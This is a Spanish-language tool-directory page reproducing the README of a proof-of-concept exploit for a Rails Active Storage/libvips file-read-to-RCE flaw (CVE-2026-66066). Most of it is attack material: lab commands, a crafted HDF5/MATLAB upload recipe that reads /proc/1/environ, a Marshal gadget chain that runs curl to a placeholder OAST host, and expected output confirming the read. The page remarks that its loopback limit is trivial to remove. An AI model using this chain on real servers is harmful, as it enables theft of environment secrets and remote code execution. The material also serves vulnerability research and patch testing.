Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-66066-POC — PoC para CVE-2026-66066 en Ruby on Rails | Kitploit
Herramientas/GitHubGitHub/zer0sumgam3/cve-2026-66066-poc
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónLabs y Práctica
GitHubzer0sumgam3/cve-2026-66066-poc

CVE-2026-66066-POC

PoC para CVE-2026-66066 en Ruby on Rails

Ver Repositorio
221362hace 2 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PoC para CVE-2026-66066 - Laboratorio mínimo de stock Rails/libvips

Este repositorio reproduce la cadena de lectura-de-archivo-a-RCE de Rails Active Storage descrita en GHSA-xr9x-r78c-5hrm contra Rails 8.1.3, la versión afectada más reciente de Rails 8.1. Rails 8.1.3.1 es el control parcheado.

Úsalo solo en el laboratorio local desechable descrito aquí. El controlador HTTP rechaza objetivos que no sean de loopback (aunque es trivial modificar el código Python para pruebas autorizadas contra otros objetivos).

Límite estricto objetivo/atacante

El objetivo es una aplicación Rails convencional. Su imagen final contiene:

  • la imagen oficial de Docker ruby:3.4.10-slim fijada;
  • una aplicación generada por rails _VERSION_ new;
  • los paquetes de runtime generados por Rails curl, libjemalloc2, libvips, y sqlite3;
  • el entrypoint generado por Rails y el comando predeterminado ./bin/thrust ./bin/rails server; y
  • un modelo Upload normal con un único adjunto de Active Storage, acciones HTML ordinarias new, create y show, y una variante de imagen PNG.

No contiene un constructor de artefactos, artefacto de subida, controlador de exploit, constructor de Marshal, código de callback, endpoint de diagnóstico, rastreo de cargador, script de arranque personalizado, fixture de secreto del objetivo, ni ruta solo-para-exploit. No establece VIPS_TRACE, no reordena el entorno del proceso, no anula el serializador de Active Storage, ni configura un procesador de imágenes no predeterminado.

El .dockerignore raíz envía solo Dockerfile y overlay/ a la compilación. Los scripts Python del lado del host y todos los artefactos generados se excluyen del contexto de compilación de Docker, no solo se omiten del paso final de copia.

El overlay completo del objetivo son cinco archivos ordinarios:

app/controllers/uploads_controller.rb
app/models/upload.rb
app/views/uploads/new.html.erb
app/views/uploads/show.html.erb
config/routes.rb

La página de show usa la transformación normal mínima:

<%= image_tag @upload.avatar.variant(format: :png) %>

Una aplicación Rails nueva sin tocar no tiene modelo de aplicación ni página que acepte un adjunto, por lo que esos cinco archivos son la funcionalidad mínima de aplicación necesaria para representar la condición de subida-de-imagen-no-confiada del aviso.

Compilar y ejecutar el objetivo vulnerable

Los requisitos previos son Docker, OpenSSL, Python 3 y h5py para el constructor de artefactos.

En la terminal 1:

./run_lab.sh 8.1.3

El script compila minimal-rails-vips:8.1.3, genera un SECRET_KEY_BASE efímero a menos que ya se haya proporcionado uno, publica la aplicación solo en 127.0.0.1:3000 y ejecuta el entrypoint generado de la imagen y el comando predeterminado. No se monta ningún directorio fuente ni artefacto en el objetivo.

Si el puerto 3000 ya está ocupado, selecciona otro puerto de loopback sin cambiar la imagen:

HOST_PORT=33020 ./run_lab.sh 8.1.3

Usa el mismo puerto en --target del controlador.

Ejecutar el constructor y controlador combinados

En la terminal 2:

python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install h5py

python3 rails_vips_oast_poc.py \
  --target http://127.0.0.1:3000 \
  --oast https://YOUR-OAST-DOMAIN.example/callback

rails_vips_oast_poc.py es un constructor y controlador HTTP de un solo uso. A menos que se proporcione --artifact, construye la subida en un directorio temporal privado, lo conserva durante toda la secuencia de solicitudes y lo elimina cuando el proceso sale. Construye ambas etapas en lugar de desempaquetar un payload estático:

  1. Pide a h5py que cree un archivo MATLAB/HDF5 con un bloque de usuario de 512 bytes.
  2. Crea un dataset uint8 little-endian de 1 × 1024 llamado environment.
  3. El dataset usa almacenamiento externo HDF5 respaldado por /proc/1/environ, desplazamiento cero, con una extensión limitada de 1.024 bytes.
  4. Añade MATLAB_class="uint8" y escribe el encabezado MATLAB 5.0 usado por el sniffer matload de libvips.
  5. Su escritor mínimo de Ruby Marshal 4.8 construye el grafo de variación OOB unsigned completo.
  6. Añade un tráiler con verificación de integridad que contiene ese grafo serializado y un pequeño manifiesto con la URL OAST y el nonce de correlación.

El programa RCE integrado está fijado a /usr/bin/curl con un array de argumentos estructurado. Realiza un GET a la URL OAST configurada y envía solo el token de correlación aleatorio rails_ghsa_xr9x. No usa un shell y no incluye secretos recuperados, salida de comandos, contenido de archivos ni un identificador del objetivo en el callback.

Los parámetros del artefacto son:

  • --external-path: archivo absoluto del lado del objetivo, predeterminado /proc/1/environ;
  • --bytes: extensión externa limitada de 128 a 4096, predeterminado 1024;
  • --oast: URL base del callback integrada en el payload; y
  • --nonce: nonce hexadecimal opcional de 16 bytes para un artefacto reproducible.

La URL OAST predeterminada es segura para loopback. Proporciona una URL de receptor alcanzable desde el contenedor para la verificación de extremo a extremo.

Para conservar la subida generada para inspección o reutilización, añade una ruta de artefacto:

python3 rails_vips_oast_poc.py \
  --target http://127.0.0.1:3000 \
  --oast https://YOUR-OAST-DOMAIN.example/callback \
  --artifact environment-read.bmp

Un --artifact existente se valida y reutiliza. En ese caso, --oast, cuando se proporciona, debe coincidir con su URL de callback integrada. Añade --force para reconstruir y reemplazarlo atómicamente con los parámetros actuales del constructor.

Para la creación de artefactos sin ninguna solicitud HTTP, el constructor compañero sigue disponible:

python3 build_upload_artifact.py \
  --output environment-read.bmp \
  --oast https://YOUR-OAST-DOMAIN.example/callback

--target predeterminado es http://127.0.0.1:3000 y está restringido a loopback literal o localhost.

La salida vulnerable esperada incluye:

artifact_mode=constructed
artifact_retained=false
embedded_payload=true
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=200
returned_geometry=1x1024x1
ARBITRARY_ENV_READ_RESULT=CONFIRMED
marshal_source=embedded_artifact
rce_program=/usr/bin/curl
oast_probe_http=500
OAST_RESULT=CHECK_RECEIVER

Compara oast_nonce en la terminal con el parámetro de consulta rails_ghsa_xr9x=<nonce> recibido por el servicio OAST. El HTTP 500 de la solicitud de representación final es esperado: el callback ocurre mientras se reconstruye el Hash Marshal autenticado, antes de que la transformación general falle posteriormente.

Qué hace el controlador

La parte del constructor requiere h5py; las partes HTTP y criptográficas usan solo la biblioteca estándar de Python:

Descargar herramienta